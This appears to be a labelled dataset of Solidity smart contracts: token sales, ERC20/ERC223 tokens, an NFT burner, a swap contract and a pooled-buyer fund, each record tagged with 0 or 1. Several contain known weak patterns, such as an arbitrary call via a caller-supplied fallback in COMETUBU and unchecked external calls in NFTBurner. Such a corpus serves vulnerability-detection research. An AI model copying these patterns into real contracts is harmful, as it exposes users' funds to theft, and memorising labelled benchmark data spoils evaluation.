if (matron_of_sire == matron_of_matron || matron_of_sire == sire_of_matron) return false;
if (sire_of_sire == matron_of_matron || sire_of_sire == sire_of_matron) return false;
return true;
}
function _createMonster(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _birthTime,
uint256 _monsterId,
bytes _properties,
address _owner
)
internal
returns (uint256)
{
uint256 tokenId = cryptoStorage.createMonster(
_matronId,
_sireId,
_generation,
_birthTime,
_monsterId,
_properties
);
_transfer(0, _owner, tokenId);
emit Birth(_owner, tokenId, _matronId, _sireId);
return tokenId;
}
function _breedWith(uint256 _matronId, uint256 _sireId, uint256 _breedCost) internal {
cryptoStorage.setSiringWithId(_matronId, uint32(_sireId));
uint64 sireCooldownEndBlock = _triggerCooldown(_sireId);
uint64 matronCooldownEndBlock = _triggerCooldown(_matronId);
cryptoStorage.increasePregnantCounter();
emit Pregnant(
cryptoStorage.monsterIndexToOwner(_matronId),
_matronId,
_sireId,
matronCooldownEndBlock,
sireCooldownEndBlock,
_breedCost
);
}
function _triggerCooldown(uint256 _tokenId) internal returns (uint64) {
uint32 cooldownSeconds = computeCooldownSeconds(cryptoStorage.getCooldownIndex(_tokenId), cryptoStorage.getGeneration(_tokenId));
uint64 cooldownEndBlock = uint64((cooldownSeconds / secondsPerBlock) + block.number);
cryptoStorage.setCooldownEndBlock(_tokenId, cooldownEndBlock);
cryptoStorage.setCooldownIndex(_tokenId);
return cooldownEndBlock;
}
} | 1 | 2,689 |
pragma solidity 0.8.4;
contract NFTBurner {
function burn(address _nft, address _to, uint[] memory _tokenIds) public {
uint len = _tokenIds.length;
for(uint i; i<len;) {
_nft.call(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender,_to,_tokenIds[i]));
unchecked {++i;}
}
}
} | 0 | 1,592 |
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function approve(address spender, uint256 amount) external;
}
contract testSmartContractV3 {
address constant OWNER = 0xB7d691867E549C7C54C559B7fc93965403AC65dF;
address constant inchRouter = 0x1111111254fb6c44bAC0beD2854e76F90643097d;
modifier onlyOwner() {
require(msg.sender == OWNER, "caller is not the owner!");
_;
}
function doSwapTestOnly(
address addressStableToken,
address addressShitCoinToken,
uint256 amountOutShitCoin,
uint256 amountOutStable,
uint256 _amountIn,
bytes calldata msgDataBuy,
bytes calldata msgDataSell
) public onlyOwner returns (uint) {
addressStableToken.call(
abi.encodeWithSelector(
0x23b872dd,
OWNER,
address(this),
_amountIn
)
);
IERC20(addressStableToken).approve(inchRouter, amountOutStable * 2);
(bool success1, ) = inchRouter.call(msgDataBuy);
require(success1, "!success1");
uint256 ShitCoinbalance = IERC20(addressShitCoinToken).balanceOf(
address(this)
);
require(
ShitCoinbalance >= amountOutShitCoin,
"after buy !ShitCoinbalance>=amountOutShitCoin"
);
IERC20(addressShitCoinToken).approve(inchRouter, ShitCoinbalance);
(bool success2, ) = inchRouter.call(msgDataSell);
require(success2, "!success2");
uint256 StableBalance = IERC20(addressStableToken).balanceOf(
address(this)
);
require(
StableBalance + 5 >= amountOutStable,
"after sell !StableBalance > amountOutStable"
);
return StableBalance;
}
function withdrawToken(address _tokenAddress) public onlyOwner {
uint256 balance = IERC20(_tokenAddress).balanceOf(address(this));
IERC20(_tokenAddress).transfer(OWNER, balance);
}
fallback() external payable {
revert();
}
} | 0 | 1,723 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
function transferFrom(address from, address to, uint256 value) returns (bool);
function allowance(address owner, address spender) constant returns (uint256);
function approve(address spender, uint256 value) returns (bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns(bool success) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool success) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) returns(bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) returns(bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns(bool success) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool success) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns(bool success) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
uint total;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Repayment(uint256 amount);
event Reward(address indexed to, uint256 amount);
function repayment(uint amount) onlyOwner {
require(amount >= 1000);
repayments.push(Payment({time : now, amount : amount * 1 ether, total : totalSupply}));
Repayment(amount * 1 ether);
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / repayments[i].total) : 0;
rewards[_to].push(Payment({time : now, amount : amount, total : repayments[i].total}));
sum += amount;
}
if(sum > 0) {
totalSupply = totalSupply.add(sum);
balances[_to] = balances[_to].add(sum);
Reward(_to, sum);
}
return true;
}
return false;
}
function reward() returns(bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract Token is RewardToken, MintableToken, BurnableToken {
string public name = "Mining Data Center Coin";
string public symbol = "MDCC";
uint256 public decimals = 18;
function Token() {
}
}
contract Crowdsale is Pausable {
using SafeMath for uint;
Token public token;
address public beneficiary = 0x7cE9A678A78Dca8555269bA39036098aeA68b819;
uint public collectedWei;
uint public tokensSold;
uint public piStartTime = 1512162000;
uint public piEndTime = 1514753999;
uint public startTime = 1516006800;
uint public endTime = 1518685200;
bool public crowdsaleFinished = false;
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Withdraw();
function Crowdsale() {
token = new Token();
}
function() payable {
purchase();
}
function purchase() whenNotPaused payable {
require(!crowdsaleFinished);
require((now >= piStartTime && now < piEndTime) || (now >= startTime && now < endTime));
require(msg.value >= 0.001 * 1 ether && msg.value <= 100 * 1 ether);
require(collectedWei.mul(350) < 22000000 * 1 ether);
uint sum = msg.value;
uint amount = sum.mul(now < piEndTime ? 634 : 317);
tokensSold = tokensSold.add(amount);
collectedWei = collectedWei.add(sum);
token.mint(msg.sender, amount);
beneficiary.transfer(sum);
NewContribution(msg.sender, amount, sum);
}
function withdraw() onlyOwner {
require(!crowdsaleFinished);
token.finishMinting();
token.transferOwnership(beneficiary);
crowdsaleFinished = true;
Withdraw();
}
} | 1 | 5,494 |
pragma solidity ^0.4.26;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(address(this), msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = address(this);
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, address(this), amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 4,357 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract COMETUBU is ERC223, Ownable {
using SafeMath for uint256;
string public name = "COMETUBU";
string public symbol = "TUBU";
uint8 public decimals = 0;
uint256 public totalSupply = 88e8 * 1e0;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function COMETUBU() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e0);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e0);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e0);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
} | 1 | 3,699 |
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract BuyerFund {
mapping (address => uint256) public balances;
bool public bought_tokens;
bool public contract_enabled;
uint256 public contract_eth_value;
uint256 constant public min_required_amount = 20 ether;
address constant public creator = 0x5777c72Fb022DdF1185D3e2C7BB858862c134080;
address public sale;
uint256 public drain_block;
uint256 public picops_block = 0;
address public picops_user;
bool public picops_enabled = false;
function picops_identity(address picopsAddress, uint256 amount) {
require(!picops_enabled);
require(this.balance < amount);
require(msg.sender == picops_user);
picopsAddress.transfer(amount);
}
function picops_withdraw_excess() {
require(sale == 0x0);
require(msg.sender == picops_user);
require(!picops_enabled);
picops_block = 0;
msg.sender.transfer(this.balance);
}
function perform_withdraw(address tokenAddress) {
require(bought_tokens);
ERC20 token = ERC20(tokenAddress);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[msg.sender];
balances[msg.sender] = 0;
uint256 fee = tokens_to_withdraw / 100 ;
require(token.transfer(msg.sender, tokens_to_withdraw - (fee * 2)));
require(token.transfer(creator, fee));
require(token.transfer(picops_user, fee));
}
function refund_me() {
require(!bought_tokens);
uint256 eth_to_withdraw = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(eth_to_withdraw);
}
function buy_the_tokens() {
require(this.balance > min_required_amount);
require(!bought_tokens);
bought_tokens = true;
contract_eth_value = this.balance;
sale.transfer(contract_eth_value);
}
function enable_deposits(bool toggle) {
require(msg.sender == creator);
require(sale != 0x0);
require(drain_block != 0x0);
require(picops_enabled);
contract_enabled = toggle;
}
function set_block(uint256 _drain_block) {
require(msg.sender == creator);
require(drain_block == 0x0);
drain_block = _drain_block;
}
function picops_is_enabled() {
require(msg.sender == creator);
picops_enabled = true;
}
function set_sale_address(address _sale) {
require(msg.sender == creator);
require(sale == 0x0);
require(!bought_tokens);
sale = _sale;
}
function set_successful_verifier(address _picops_user) {
require(msg.sender == creator);
picops_user = _picops_user;
}
function pool_drain(address tokenAddress) {
require(msg.sender == creator);
require(bought_tokens);
require(block.number >= (drain_block));
ERC20 token = ERC20(tokenAddress);
uint256 contract_token_balance = token.balanceOf(address(this));
require(token.transfer(msg.sender, contract_token_balance));
}
function () payable {
require(!bought_tokens);
if (!contract_enabled) {
require (block.number >= (picops_block + 120));
picops_user = msg.sender;
picops_block = block.number;
} else {
balances[msg.sender] += msg.value;
}
}
} | 1 | 5,433 |
pragma solidity ^0.4.24;
contract Robocalls {
function transferFrom(address from, address to, uint tokens) public returns (bool success) {}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
}
contract RobocallsTokenSale is Owned {
uint public startDate;
uint public bonusEnds;
uint public endDate;
address public main_addr;
address public tokenOwner;
Robocalls r;
constructor() public {
bonusEnds = now + 8 weeks;
endDate = now + 8 weeks;
startDate = now;
main_addr = 0xAD7615B0524849918AEe77e6c2285Dd7e8468650;
tokenOwner = 0x6ec4dd24d36d94e96cc33f1ea84ad3e44008c628;
r = Robocalls(main_addr);
}
function setEndDate(uint _newEndDate ) public {
require(msg.sender==owner);
endDate = _newEndDate;
}
function setBonusEndDate(uint _newBonusEndDate ) public {
require(msg.sender==owner);
bonusEnds = _newBonusEndDate;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 13000000;
} else {
tokens = msg.value * 10000000;
}
r.transferFrom(tokenOwner,msg.sender, tokens);
owner.transfer(msg.value);
}
} | 0 | 1,957 |
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract CrowdsaleBase is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
State public testState;
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
